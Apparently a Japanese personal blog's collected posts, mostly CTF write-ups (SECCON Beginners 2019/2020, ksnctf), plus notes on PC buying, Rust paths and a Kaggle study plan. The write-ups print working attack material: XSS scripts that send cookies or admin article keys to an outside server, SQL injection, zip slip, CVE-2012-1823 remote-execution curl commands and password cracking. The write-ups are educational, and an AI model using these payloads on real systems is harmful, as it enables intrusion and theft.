新マシン導入検討
業務 + 趣味用に新しいマシンの購入を検討しました。その際のお気持ちのメモです。
要件としては以下のあたりです。
- シングルスレッドとマルチスレッド性能ともに現在使っている MacBook Pro 2019 モデルの性能を上回ること
- グラフィックがヘビーなゲームが動作すること
- GPUを機械学習に利用できること
- ryzen 使いたい
欲を言うと AMD ryzen 9 5900x + Nvidia GeForce RTX 3080 という構成が望ましいですが、品薄で手に入らないのと予算オーバ気味なので躊躇しています。 おそらく AMD ryzen 9 5800x + Nvidia GeForce RTX 3070 の構成で落ち着くような気がしています。 自作はまだハードルが高いので、BTO であたりをつけました。
TSUKUMO G-GEAR GA5A-H204/XT
SECCON for beginners 2020 writeup
Seccon 2020 に bigtreefalcon というチーム名で参加しました。 以下、僕が主に取り組んでいた web 問題部分についての Write up です。
[Web] Spy
問題概要
従業員のログインフォームと flask サーバのコード (app.py) 、及びログインサービスを利用しているユーザの候補 (employees.txt) が与えられる。 候補ユーザの中から実際にサービスを利用しているユーザを答えとして送信する。
ポイント
- タイミング攻撃
解法
app.py の中のログイン処理を読む。 ポイントとなるのは以下の部分。
/
に POST された form data name と password を読み取る- name をもつ user を DB から探す
- user が存在しない場合は、処理にかかった時間を含むページを返す
- user が存在した場合は、 password をハッシュ化して DB に保存されているハッシュ化済みパスワードと比較する
- 処理にかかった時間を含むページを返す
ハッシュ化は、コメント中に adds salt and performs stretching so many times
と書かれているとおり、時間のかかる処理だと予想できる。
今回はユーザが存在する場合のみハッシュ化が行われる。
したがって、ユーザごとに処理にかかった時間を比較すれば、ユーザがサービスを利用しているかどうか分かる。
今回は丁寧にも処理にかかった時間を html に吐き出してくれているので、その部分を見れば良い。
for e in $(cat employees.txt); do echo $e; curl -s -X POST -F name=$e -F password=hoge https://spy.quals.beginners.seccon.jp | grep 'It took' done
ユーザの有無によって処理時間のオーダーが違っていて、
- 0.1s 〜 1s ... DB にユーザが存在する = ユーザがサービスを利用している
- 0.0001s 〜 0.001s ... DB にユーザが存在しない = ユーザがサービスを利用していない
と判定できる。
[Web] Tweetstore
単語と件数を与えるとツイートの様なデータを検索できるフォームと、そのサーバサイドのコード (webserver.go) が与えられる。
ポイント
- SQL インジェクション
解法
まず、何が flag となるのかを探す。 webserver.go を読んでみると、 DB のユーザ名が flag になっていることが分かる。
dbuser := os.Getenv("FLAG")
また、 sql を生成している部分を読むと、フォームの文字列を concat して生成ていることが分かる。
このタイプは SQL インジェクションが有効。
実際に search word フォームに ' --
などと入力すると internal server error が発生するので、 SQL インジェクションで間違いさなそうだと分かる。
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
ただし今回は、 '
を \\'
に replace する処理が含まれている。
これでは、例えば単に '; --
を入力しても \\'; --
に replase され Go で escape され \'; --
となりさらに SQL で escape され '; --
となってしまい、前の引用符を閉じることができない。
そこで、 \\'; --
とすることで \\\\'; --
に replase され Go で escape され \\'; --
となりさらに SQL で escape され \'; --
となる。
これはただの円マーク + '; --
となるので、 SQL の文法的に正しいクエリを発行させられる。
これを利用して、以下のように db user 名を返させれば良い。
\\' or 1=0; SELECT usename, usename, now() FROM pg_user; --
[Web] unzip
概要
zip をアップロードすると中身のファイル名とその内容を表示してくれるwebページ、及びそのサーバサイドのコード (index.php) と (docker-compose.yml) が与えられる。
ポイント
- ディレクトリトラバーサル攻撃
- zip slip 脆弱性
解法
docker-compose.yml を読むと、php-fpm container の /flag.txt
にフラグを含むファイルがマウントされていることが分かる。
また、 index.php を読むと、
- zip ファイルをアップロードすると、
/uploads/セッションid/
以下に解答され、 zip に含まれるファイル名が$_SESSION["files"]
に記録される https://unzip.quals.beginners.seccon.jp/?filename=ファイル名
にアクセスすると/uploads/セッションid/ファイル名
の内容を表示する
ということが分る。
したがって、ファイル名として ../../flag.txt
を与えるとフラグを表示させることができる。
以下のようにして zip を作成してアップロードした後、 https://unzip.quals.beginners.seccon.jp/?filename=../../flag.txt
にアクセスすれば良い。
touch ../../flag.txt
zip hoge.zip ../../flag.txt
../
等を含む名前のファイルをアーカイブしたファイルに関わる脆弱性を zip slip 脆弱性というらしい。
[Web] profiler
概要
ユーザ登録・ログインページ (/
) 、プロファイル編集ページ (/profile
)、フラグ表示ページ (/flag
) が与えられる。
ユーザ登録を済ませると token が表示される。
ログインした後プロファイル編集ページを訪れると、この token を使ってプロファイルを編集できる。
プロファイルページの「Get FLAG」ボタンでフラグ表示ページを訪れると、 Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).
と表示される。
ポイント
- GraphQL
解法
ヒントの通り、難読化された *.js
ファイルを読み解く必要はない。ヒントが親切。
flag ページのメッセージから、 admin の token を取得することがポイントになりそうと予想できる。
通信を覗いてみると、 {"query":"query { me {\n uid\n name\n profile\n }\n }"}
のようなデータを POST していることが分かる。
これは GraphQL のクエリである。
実は GraphQL は introspection query と呼ばれる特定のクエリをエンドポイントに投げることで、エントリーポイントや型情報の一覧 (schema) を取得することができる。
例えば node.js だと graphql-js
を使って schema を取得できる。
const fetch = require('node-fetch'); const { getIntrospectionQuery, buildClientSchema, printSchema, } = require('graphql'); const GRAPHQL_ENDPOINT = 'https://profiler.quals.beginners.seccon.jp/api'; async function main() { try { const response = await fetch( GRAPHQL_ENDPOINT, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: getIntrospectionQuery() }), } ); const { data } = await response.json(); const schema = buildClientSchema(data); console.log(printSchema(schema)); } catch (err) { console.error(err); } } main();
取得できるスキーマは以下の通り。
type Query { me: User! someone(uid: ID!): User flag: String! } type User { uid: ID! name: String! profile: String! token: String! } type Mutation { updateProfile(profile: String!, token: String!): Boolean! updateToken(token: String!): Boolean! }
このスキーマから得られた情報から、
- ブラウザからユーザ登録
someone(uid: ID!): User
を使って admin の token を取得updateToken(token: String!): Boolean!
を使って自分の token を admin と同じものに変更する- ブラウザから flag ページにアクセスする
とするとフラグが取得できる。
# 先にブラウザからユーザ登録する curl -sS -X POST -H "Content-Type: application/json" -d '{"query":"query { someone(uid: \"admin\") { uid name profile token } }"}' https://profiler.quals.beginners.seccon.jp/api {"data":{"updateToken":false}} curl -sS -X POST -H "Content-Type: application/json" -b 'session=セッションid;' -d '{"query":"mutation { updateToken(token: \"前のクエリで取得したadminのトークン\") }"}' https://profiler.quals.beginners.seccon.jp/api {"data":{"updateToken":true}} # この後 https://profiler.quals.beginners.seccon.jp/flag にブラウザでアクセスするとフラグが取得できる
[Web] Somen
概要
そうめんオススメフォームとサーバサイドのコード (index.php) とクローラのコード (worker.js) が与えられる。
フォームに hoge
を入力すると /?username=hoge
をフラグを cookie にセットしたクローラが訪れてくれる。
ポイント
- XSS
- Content Security Policy (CSP)
解法
脆弱性は2箇所ある。
ただし、いくらかのガードもなされている。
- 別 js ファイルを読み込んで、ユーザ入力が
/^[a-zA-Z0-9]*$/
にマッチしない場合は別URLに飛ばす処理 Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
1つめのガードは、入力の最後を <script>
で終わらせることで回避できる。
2つめのガードは、 strict-dynamic
に着目して回避する。
strict-dynamic
は 以下のような特徴 がある。
The key super power of strict-dynamic is that it will allow /script-loader.js to load additional scripts via non-"parser-inserted" script elements.
この特徴を使うと、以下の入力で XSS ができて、 mydomain.com でクローラの cookie を受け取ることができる。
location.href=`http://mydomain.com/?${document.cookie}`//</title><script id="message"></script><script>
ちなみに、本番では解けなかった。
https://csp-evaluator.withgoogle.com/ で対象ページの CSP を調べたら base-url [missing]
と教えてくれたので、 <base>
タグを使って頑張っていたけど、1つめのガードを外すことしかできなかった。
rust の std::path::Path のつまづきポイント
rust の std::path::Path はパスを扱うための標準ライブラリです。 std::path::Path を使う上でつまづきそうなポイントをまとめました。
動作確認は rustc 1.43.0 (4fb7144ed 2020-04-20)
で行いました。
/
or \
Unix では /
のみ、 Windows では \
と /
の両方が separator として認識されます。
参考:
This type supports a number of operations for inspecting a path, including breaking the path into its components (separated by / on Unix and by either / or \ on Windows), extracting the file name, determining whether the path is absolute, and so on.
relative or absolute
Path が相対パスか絶対パスかをチェックするために、 is_relative
, is_absolute
というメソッドが提供されています。
is_relative
の実装 は下記のとおりです。
is_relative
は単に is_absolute
の逆の結果を返すように実装されています。
!self.is_absolute()
is_absolute
の実装 は下記のとおりです。
is_absolute
は Unix か Windows によって判定の仕方が変わります。
(redox の場合も判定の仕方が違いますが、今回は省略。)
Unix の場合、 is_absolute
と has_root
の結果は同じで、パスが /
から始まれば絶対パスと判定されます。
Windows の場合、 prefix (C:
など)から始まるかつ prefix 以降が \
か /
から始まれば絶対パスと判定されます。
self.has_root() && (cfg!(unix) || self.prefix().is_some())
Path
どうしの比較
rust では 2つの struct がイコールであるかどうかの判定を PartialEq
trait で実装します。
Path
の PartialEq
の実装 は下記のとおりです。
components()
の内容を比較していることが分かります。
impl cmp::PartialEq for Path { fn eq(&self, other: &Path) -> bool { self.components().eq(other.components()) } }
components()
はパスを separator で区切ってできた Component
への iterator を返します。
ただし、区切る際に、連続する /
を無視する、始まり以外の .
を無視する、末尾の /
を無視するなどの処理が行われます。
したがって、以下の assertion はすべて true になります。
assert!(Path::new("a//b") == Path::new("a/b")); assert!(Path::new("a/./b") == Path::new("a/b")); assert!(Path::new("a/b/") == Path::new("a/b"));
一方で a/b/..
と a
はイコールとして扱われません。
これは、 a/b
が symlink である可能性があるからです。
assert!(Path::new("a/b/..") != Path::new("a"));
~
の扱い
~
は home ディレクトリとして展開されることはなく、 ~
という名前のパスとして扱われます。
例えば、 Path::new("~").is_dir()
は false
となります(current dir に ~
という名前のディレクトリがなければ)。
これは、 ~
は /home/user
などではなく、 $PWD/~
を指していることになるためです。
assert!(!Path::new("~").is_dir());
~
を home ディレクトリとして展開するには、 shellexpand などのライブラリを使うと良いです。
SECCON for beginners 2019 writeup
Beginners CTF 2019 で自分が解いた部分のまとめです。
[Web] katsudon
問題概要
rails で作られたサイトと「クーポンコード」と呼ばれる文字列を復号するソースコードが与えられる。
ポイント
解法
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
を復号する。
与えられたソースコードから、この文字列は Rails の MessageVerifier を使って復号できそうということがわかる。
MessageVerifier のドキュメント を読む。 MessageVerifierは、署名をつけたメッセージを作成と、メッセージの署名を検証するのに利用されているということがわかる。 さらに、MessageVerifier の generate という関数の実装を読むと、 MessageVerifier が生成する文字列は、
"#{data}--#{generate_digest(data)}"
という形式になっていることがわかる。
secret を見つけなきゃいけないのかと思いきや、そんなことはない。
data の部分は暗号化されているわけではなくただの base64 だからである。
BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU
を base64 decode すると、フラグを含むデータが得られる。
[Web] Himitsu
問題概要
php で作られたサイトと、そのサイトのソースコードがまるっと与えられる。
サイト自体は、記事投稿サイトのようなもの。
記事本文に特殊な構文が使えて、 [#記事ID#]
と書くと記事のタイトルを埋め込むことができる。
ポイント
解法
コンテスト中には解けなかった。。。
まずはソースコードを読んであたりをつける。 SQLのパラメタはちゃんとエスケープされているので、SQLインジェクションは無理そう。 記事の投稿内容を表示する部分でもちゃんとテンプレートエンジンを使っているので、XSSも一見無理そうに見える。 が、 part_of_crawler.js でクローラのコードが与えられていることから、 XSS を使いそうな雰囲気が漂っている。
[#記事ID#]
という構文が利用できるという特殊な仕様が引っかかるので、この [#記事ID#]
で他記事のタイトルを埋め込めるという機能を利用して XSS できないか? というあたりをつける。
他記事のタイトル埋込機能に着目しながらソースコードを読んでいくと、以下のようなことがわかった。
- schema.sql
- admin の投稿の本文にフラグが含まれていそうな事がわかる。ただし、 admin の記事の
article_key
は伏せられている。
- admin の投稿の本文にフラグが含まれていそうな事がわかる。ただし、 admin の記事の
- backend/classes/ArticleController.php
addArticle
- 記事を投稿する処理。
[#記事ID#]
の部分について、置き換えるタイトルの内容が投稿時にチェックされている。この時、他記事のタイトルに<
>
"
'
といった文字が含まれている場合はエラーにされてしまう。
- 記事を投稿する処理。
getArticle
- 記事を表示する処理。
[#記事ID#]
の部分をタイトルに置き換える処理はここで行われる。 - 閲覧できる記事には特に制限がかかっておらず、 admin の記事であっても
article_key
さえわかればアクセスできる。
- 記事を表示する処理。
- backend/classes/ArticleMapper.php
createArticle
- 記事を DB 上に作成する処理。新規投稿時の
article_key
は、$article_key = md5($username . $created_at . $title);
のように、ユーザ名、作成時刻、タイトルをつなげた文字列のハッシュ値が設定される。
- 記事を DB 上に作成する処理。新規投稿時の
以上のことから、 他記事のタイトル埋込機能を使って XSS を起こし、 admin の記事の article_key
を見つける ことを目指す。
このために、以下のような2種類の記事を作成する。
- 記事A
- title: 適当
- abstract: 適当
- body:
[#記事BのID#]
- 記事B
- title: XSS で実行させたい内容
- abstract: 適当
- body: 適当
この2種類の記事を作成した上で、 admin を記事Aにアクセスさせて XSS のコードを実行させる。
ここで大事なのは、記事を作成する順番である。
記事Bの投稿・送信 -> 記事Aの投稿・送信 の順に行うと、記事Aの作成時に addArticle
のチェック処理によってエラーになってしまう。
これを回避するために、記事の作成が「投稿」と「送信」の2段階になっていることを利用して、
(1) 記事Aの投稿 -> (2) 記事Bの投稿・送信 -> (3) 記事Aの送信
という手順で2つの記事を作成する。
(1) の時点では記事Bが存在していないので、 addArticle
のチェック処理を通過することができる。
ここで問題となるのが、(1) の時点で記事BのIDを知ることができるかどうかだが、実はこれは以下のようにすれば可能である。
記事IDは $article_key = md5($username . $created_at . $title);
というコードで設定されている。
username
はユーザ名、 title
は XSS で実行させたい内容なので、 (1) の時点で決めておける。
created_at
は $created_at = date("Y/m/d H:i");
というコードで設定されていて、 年/月/日 時:分
というフォーマットである。
秒が含まれていないことから、何時何分に (2) の操作を行うか予め決めておけば、 created_at
も予め決めておくことができる。
したがって、username
, title
, created_at
を全て (1) の時点で決めておけるので、記事Bの article_key
も (1) の時点で事前に算出できる。
次に、 XSS のコードの中身を考える。
目標は、admin の記事の article_key
を見つけること。
今回は以下のようなスクリプトを作った。
<script> const run = async () => { let content; try { const resp = await fetch("https://himitsu.quals.beginners.seccon.jp/mypage"); content = await resp.text(); content = content.match(/[0-9a-f]{32}/g).join(); } catch (err) { content = err.stack || err.message; } const urlObj = new URL("<自分のサーバのURL>"); const params = new URLSearchParams(); params.append("d", content); urlObj.search = params.toString(); await fetch(urlObj.toString()); }; run(); </script>
このスクリプトでは、
- https://himitsu.quals.beginners.seccon.jp/mypage にアクセスし、 admin の記事一覧ページの内容を取得する
- 正規表現を使って記事一覧ページの内容から
article_key
に該当する部分だけを取り出す - 取り出した
article_key
を GET parameter として自分のサーバに送る
ということをしている。
このスクリプトの改行を取り除くなどしたものを記事Bのタイトルとし、上記の (1) 〜 (3) の手順を行えば、 admin の記事の article_key
を自分のサーバに送信することができる。
あとは、得られた article_key
の記事のURL ( https://himitsu.quals.beginners.seccon.jp/articles/${article_key}
) にブラウザ等でアクセスすれば、フラグを含む記事の本文を確認することができる。
[Reversing] [warmup] Seccompare
ltrace ./seccompare hoge
[Crypto] [warmup] So Tired
問題概要
すごく長い base64 文字列が記録されたファイルが与えられる。
ポイント
- base64
- zlib
解法
与えられたファイルを base64 decode すると zlib compressed data が出来上がる。 それを解凍するとまた base64 文字列が記録されたファイルが出て来る。
base64 decode -> zlib 解凍 という作業をひたすら繰り返すと flag にたどり着く。
ksnctf - 5 Onion を彷彿とさせる問題だった。
[Crypto] Party
問題概要
2つのファイルが与えられる。
- encrypt.py ... 暗号化スクリプト
- encrypted ... encrypt.py の出力
ポイント
- mod
解法
encrypt.py を読み解くと、 encrypted の内容が、ランダムな値とそれを暗号化した値のペア3つで有ることがわかる。 このペアを (x0, y0), (x1, y1), (x2, y2) とする。
暗号化関数を F とすると、 x と y の関係は y = F(x) となる。 F の中身は、ソースコードより、 y = F(x) = coeff[0] + coeff[1] * x + coeff[2] * x2 である。 coeff[0] の部分が求まれば、フラグを求めることができる。
coeff[0] は、もし coeff[0] が x の倍数でなければ、上記の式より、 coeff[0] = y % x と求められる。 encrypted ファイルに記録された (x0, y0), (x1, y1), (x2, y2) より、 y0 % x0, y1 % x1, y2 % x2 の値はどれも 175721217420600153444809007773872697631803507409137493048703574941320093728 となった。
あとは、以下のようにして数値を byte 列に戻せばフラグをゲットできる。
from Crypto.Util.number import long_to_bytes print(long_to_bytes(175721217420600153444809007773872697631803507409137493048703574941320093728))
[Misc] Dump
問題概要
- tcpdump ファイルが与えられる
ポイント
- tcpdump 解析
解法
まずは tcpdump のファイルを wireshark で開く。 HTTP でなにやら通信が行われていることがわかる。 HTTP の通信の内容を File > Export objects > HTTP から復元すると、以下の2つのファイルが復元できる。
- webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag
- webshell.php%3fcmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag
ファイル名から察するに、これらはそれぞれサーバ上で hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
と ls -l /home/ctf4b/flag
を実行した結果だと予想できる。
さらに、 hexdump のオプションの部分を読み解くと、1つめのファイルには /home/ctf4b/flag
の内容を 1 byte ごとに8進数で表した結果が含まれているということがわかる。
復元したファイルは html 形式になっていて、その中の <pre>
タグで囲まれた部分が結果になっているようなので、 hexdump の結果の部分だけを取り出して hexdump.txt
として保存しておく。
つぎに、 hexdump の結果から /home/ctf4b/flag
にあったファイルを復元する。
python だったら以下のような感じで復元できる。
with open('./hexdump.txt', 'r') as f: arr = f.read().split() byte_arr = bytes(map(lambda x: int(x, 8), arr)) with open('./flag', 'wb') as f: f.write(byte_arr)
復元した flag ファイルの形式を file
コマンドで調べると gzip 形式であることがわかる。
これを回答すると flag.jpg が取り出せる。
画像の中に flag が含まれていましたとさ。
[Misc] Sliding puzzle
問題概要
netcat 越しに sliding puzzle が与えられる。
sliding puzzle というのは、
---------------- | 0 | 2 | 3 | | 6 | 7 | 1 | | 8 | 4 | 5 | ----------------
こういうのを、ブランクを表す 0
を動かすことを繰り返して、
---------------- | 0 | 1 | 2 | | 3 | 4 | 5 | | 6 | 7 | 8 | ----------------
こうする問題。
操作手順を 1,3,2,0, ... ,2
のような形式で送信する。
ポイント
- 競プロ
解法
timeout が設定されているようで、手動ではとても間に合わない。 ので、自動で解答するプログラムを作る。 ちょっとした競プロ。
tcp とやり取りする部分は ruby で、実際に問題を得部分は c++ で実装した。
問題を解く部分は、盤面の状態を幅優先探索していけば良い。 このとき、一度訪れた状態を set で管理しておいて、すでに訪れた状態からは新たに遷移しないようにすれば良い。
ソースコードは こちら 。
ruby client.rb 133.242.50.201 24912
と実行すると、何十問か解いた後にフラグが表示される。
Kaggle勉強会 2019/05/24
はじめに
目的
- kaggleコンペに参加するための基礎的なノウハウの獲得する
- 今日知った内容を誰かにレクチャーできるようになる
今日の流れ
基本的に以下の記事に従って進めていきます。 7. まで進める予定です。
Kaggleに登録したら次にやること ~ これだけやれば十分闘える!Titanicの先へ行く入門 10 Kernel ~ - Qiita
0. Kaggleの概要
[ ] ユーザ登録(まだの方は https://www.kaggle.com から)
[ ] Overview タブ
- [ ] Data タブ
- [ ] Kernels タブ
- [ ] Discussion タブ
- [ ] Leaderboard タブ
- [ ] Rules タブ
- [ ] Team タブ
1. まずはsubmit! 順位表に載ってみよう
- [ ] kernel の使い方
- [ ] submit の仕方
2. 全体像を把握! submitまでの処理の流れを見てみよう
- パッケージの読み込み
- [ ] numpy, pandas
- データの読み込み、データを知る
- [ ] Data タブの確認
- [ ] Data の読み込み
- [ ] 形式の確認
- [ ] 欠損値の確認
- [ ] EDA
- 特徴量エンジニアリング
- [ ] X_train, y_train, X_test, y_test の作成
- 機械学習アルゴリズムの学習・予測
- [ ] scikit-learn のモデルの使い方 Scikit-learnのモデルをまとめてみた - のんびりしているエンジニアの日記
- submit(提出)
3. ここで差がつく! 仮説に基づいて新しい特徴量を作ってみよう
- [ ] 再現性について
- [ ] 仮説と可視化から新しい特徴量を作る Kaggleのタイタニックを例に - u++の備忘録
演習
- 新しい特徴量を作ってみよう
実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-03
4. 勾配ブースティングが最強?! いろいろな機械学習アルゴリズムを使ってみよう
- [ ] 公式ドキュメント
- [ ] LightGBM 徹底入門
演習
- LightGBM を使ってみよう
実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-04
5. 機械学習アルゴリズムのお気持ち?! ハイパーパラメータを調整してみよう
6. submitのその前に! 「Cross Validation」の大切さを知ろう
演習
- RandomizedSearchCV を使ってみよう
実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-05-06
7. 三人寄れば文殊の知恵! アンサンブルを体験しよう
演習
- 他人もしくは自分の submission csv ファイルをダウンロードして、アンサンブルしてみよう
実装例: https://www.kaggle.com/gky360/upura-kaggle-tutorial-07
これからどうするか?
初心者にオススメの戦い方
- ベースラインとなるKernelを探す
- 本記事の内容を参考に、ベースラインを改善する
Further reading
ksnctf writeup (problem 11 -- 20)
https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。
11. Riddle
問題概要
exeが与えられます。 起動すると、クイズが4問順に出てきて、正解すると次に進めます。
- 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
- 2問目: What is the largest island in the world?
- 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
- 4問目: What is the flag?
ポイント
- リバースエンジニアリング
- IDA の使い方
解法
IDA などを使ってバイナリ解析をしていきます。 mac使いの私は vagrant で構築した windows にIDAを入れて使いました。 Vagrantfile は こちら 。
4問目以外の正解はwikipediaなどで調べると出てきます。
- 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
- => 正解: Human
- 2問目: What is the largest island in the world?
- => 正解: Greenland
- 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
- => 正解: 42
- 4問目: What is the flag?
- => 知りません。
以下の記事を参考にフラグだけは求めましたが、精進が足りていなのでまだ理解はできていません。。
12. Hypertext Preprocessor
問題概要
謎の文字列が表示されているページが与えられる。 ページのタイトルは「Clock」。
ポイント
- CVE
- php
解法
与えられたページにアクセスすると、 2012:1823:20:19:04:25:13:31:54:45:30:27:34
のような謎の文字列が表示されます。
最初の 2012:1823
を除けば、2019年04月25日... というように「Clock」になっていそうですが、 2012:1823:
は何なのでしょう。
ぐぐってみると、実はこれは CVE (Common Vulnerabilities and Exposures) の番号であるとわかります。
NVD - CVE-2012-1823 はphpの脆弱性で、
phpで立てたcgiのurlのクエリパラメタに =
が含まれない場合、その文字列がコマンドラインオプションとして認識されるというものです。
つまり、 http://example.com/index.php?a+b+c にアクセスすると、 php index.php a b c
が実行したこととおなじになるということです。
ヤバそうな脆弱性です。
http://ctfq.sweetduet.info:10080/~q12/index.php?-s にアクセスしてみます。
これは、 php -s index.php
と同じ意味になります。
-s
オプションはphpのソースコードを出力するというオプションなので、ソースコードを見ることができます。
3行目に // Flag is in this directory.
というヒントがあります。
脆弱性を利用して任意のコマンドを実行するにはどうすればいいでしょうか。
答えから言うと、例えば ls -la
を実行する場合以下のようになります。
curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>"
クエリパラメタの部分を読み解いていきましょう。
これは、 -d allow_url_include=On -d auto_prepend_file=php://input
というオプションを渡したことになります。
-d
は php.ini のディレクティブをコマンドライン上で定義できるオプションです。
したがって、php.ini に以下を追加したのと同じ意味になります。
allow_url_include=On auto_prepend_file=php://input
allow_url_include=On
で include するファイルをURL指定できるようになります。
auto_prepend_file=php://input
php実行の最初に php://input
の内容が実行されるようになります。
php://input
はHTTPのリクエストbodyを指します。
以上より、先程の curl コマンドで ls -la
が実行されるというわけです。
$ curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>" total 18668 dr-x--x--x 2 q12 q12 4096 Apr 25 22:50 . drwx--x--x 3 root root 4096 Apr 25 22:50 .. -r--r--r-- 1 q12 q12 90 Apr 25 22:50 .htaccess -r-------- 1 q12 q12 22 Apr 25 22:50 flag_flag_flag.txt -r-xr-xr-x 1 q12 q12 600 Apr 25 22:50 index.php -r-xr-xr-x 1 q12 q12 19093315 Apr 25 22:50 php.cgi <!DOCTYPE html> <html> <head> 後略 ...
cat flag_flag_flag.txt
を実行すれば、フラグがゲットできそうだということが分かります。
以下のコマンドでフラグがゲットできます。
curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"
ちなみに、PHP は PHP: Hypertext Preprocessor の略なので、今回もまたタイトルがびみょーにヒントになっていたわけです。
References
13. Proverb
問題概要
ssh の user/pass が与えられる。 ホームディレクトリは以下のような感じ。
[q13@localhost ~]$ ls -la total 48 drwxr-xr-x 2 root root 4096 Jun 1 2012 . drwxr-xr-x. 17 root root 4096 Oct 6 2014 .. -rw-r--r-- 1 root root 18 May 11 2012 .bash_logout -rw-r--r-- 1 root root 176 May 11 2012 .bash_profile -rw-r--r-- 1 root root 124 May 11 2012 .bashrc -r-------- 4 q13a q13a 22 Jun 1 2012 flag.txt ---s--x--x 4 q13a q13a 14439 Jun 1 2012 proverb -r--r--r-- 2 root root 755 Jun 1 2012 proverb.txt -r--r--r-- 1 root root 151 Jun 1 2012 readme.txt
proverb
を実行すると、 proverb.txt
に書かれたことわざをランダムに1行分表示する。
ポイント
解法
proverb
のパーミッションが ---s--x--x
になっています。
s
は setuid を意味していて、このプログラムは実行するユーザではなくowner(今回は q13a)の権限で実行されます。
proverb.txt の代わりに flag.txt を proverb に読み込ませる事ができれば、 flag.txt の内容が表示できそうです。
これはシンボリックリンクを使うことで実現できます。
書き込み権限がある /tmp
に移動して、適当なディレクトリを作ります。
今回は /tmp/xxx
を作ったとします。
新しく作ったディレクトリ下で以下のコマンドを実行すれば、 flag.txt を proverb.txt の代わりに表示させる事ができます。
ln -sf ~/flag.txt proverb.txt
~/proverb
14. John
問題概要
以下のような文字列が与えられる。
user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7::: user01:$6$ffl1bXDBqKUiD$PoXP69PaxTTX.cgzYS6Tlj7UBvstr6JruGctoObFXCr4cYXjIbxBSMiQZiVkKvUxXUC23zP8PUyXjq6qEq63u1:15491:0:99999:7::: user02:$6$ZsJXadT/rv$T/2gVzYwMBaAsZnHIjnUSmTozIF/ebMvtHIJjikFehvB8pvy28DUIQYbTJLG6QAxhzJAKOROnZq0xV4hUGefM1:15491:0:99999:7::: user03:$6$l0NHH5FF0H/U$fPv3c5Cdls/UaZmglR4Qqh8vhpIBsmY1sEjHi486ZcDQ2Vx5GY0fcQYSorWj6l42jfI47w437n.NBm8NArFyT/:15491:0:99999:7::: ... user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::
ポイント
- passwdファイル
- John the Ripper
解法
与えられた文字列は passwd ファイルの形式になっています。linuxをいじったことがあればピンとくるでしょう。
ただ、最後の行だけ毛色がちがっていて、問題のヒントになっています。 「SHA512 is strong」 という文字列と http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt という URL が読み取れます。 URLの方は単語が羅列された辞書ファイルになっています。
ここで、問題タイトルの「John」に着目します。 「John sha512」などでぐぐると、 John the ripper というパスワード解析ツールが存在することが分かります。 どうやら、 john に先のURLの単語ファイルを辞書として与えて問題文のパスワードをクラックすれば良さそうです。
以下のコマンドで john を使って passwd ファイルの暗号化されたパスワードを解析することができます。
cd path/to/john cd run ./john --wordlist=<単語ファイルのパス> <問題文を保存したファイルのパス> # 1分くらいで解析が終わる
解析結果は以下のコマンドで確認できます。
./john --show <問題文を保存したファイルのパス>
解析結果は下記のとおりです。 解析されたパスワードの頭文字をつなげるとフラグになります。
user00:FREQUENT:15491:0:99999:7::: user01:LATTER:15491:0:99999:7::: user02:ADDITIONAL:15491:0:99999:7::: user03:GENDER:15491:0:99999:7::: user04:__________:15491:0:99999:7::: user05:applies:15491:0:99999:7::: user06:SPIRITS:15491:0:99999:7::: user07:independent:15491:0:99999:7::: user08:ultimate:15491:0:99999:7::: user09:JENNY:15491:0:99999:7::: user10:HELD:15491:0:99999:7::: user11:SUFFERS:15491:0:99999:7::: user12:LEAVE:15491:0:99999:7::: user13:floating:15491:0:99999:7::: user14:zecht:15491:0:99999:7::: user15:opinion:15491:0:99999:7::: user16:QUESTION:15491:0:99999:7::: user17:karaoke:15491:0:99999:7::: user18:strange:15491:0:99999:7::: user19:zero:15491:0:99999:7::: user20:DELIGHT:15491:0:99999:7::: 21 password hashes cracked, 1 left
ちなみに、john を mac でビルドする / brew で入れる のはいずれもうまくいきませんでした。 linux で john 1.9.0 のソースをビルドして使用するのがおすすめです。
ksnctf writeup (problem 1 -- 10)
https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。
2. Easy Cipher
定番のcaesar暗号です。 python の codecs ライブラリを使うなどの方法でデコードします。
3. Crawling Chaos
問題概要
